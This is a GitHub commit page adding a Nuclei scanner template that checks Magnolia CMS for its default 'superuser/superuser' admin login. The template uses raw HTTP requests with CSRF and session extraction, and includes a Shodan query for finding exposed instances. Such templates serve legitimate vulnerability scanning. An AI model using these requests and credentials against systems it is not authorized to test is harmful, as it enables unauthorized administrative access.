Merge pull request #6898 from projectdiscovery/pussycat0x-patch-4

Magnolia Default Login
patch-1
Dhiyaneshwaran 2023-03-16 07:40:20 +05:30 committed by GitHub
commit 98ef0528c6
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 75 additions and 0 deletions

View File

@ -0,0 +1,75 @@
id: magnolia-default-login
info:
name: Magnolia Default Login
author: pussycat0x
severity: high
description: Mangnolia CMS default credentials were discovered.
reference:
- https://www.magnolia-cms.com/
metadata:
verified: "true"
shodan-query: html:"Magnolia is a registered trademark"
tags: magnolia,default-login
requests:
- raw:
- |
GET /.magnolia/admincentral HTTP/1.1
Host: {{Hostname}}
- |
POST /.magnolia/admincentral HTTP/1.1
Host: {{Hostname}}
Cookie: csrf={{csrf}};JSESSIONID={{session}}
Content-Type: application/x-www-form-urlencoded
Origin: {{BaseURL}}
Referer: {{BaseURL}}/.magnolia/admincentral
mgnlUserId={{username}}&mgnlUserPSWD={{password}}&csrf={{csrf}}
- |
GET /.magnolia/admincentral/PUSH?v-uiId=1 HTTP/1.1
Host: {{Hostname}}
Cookie: csrf={{csrf}}; JSESSIONID={{session}}
payloads:
username:
- superuser
password:
- superuser
attack: pitchfork
extractors:
- type: kval
name: csrf
part: header
internal: true
kval:
- csrf
- type: kval
name: session
internal: true
part: header
kval:
- JSESSIONID
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- '"changes":'
- '"resources":'
condition: and
- type: word
part: header_3
words:
- 'application/json'
- type: status
status:
- 200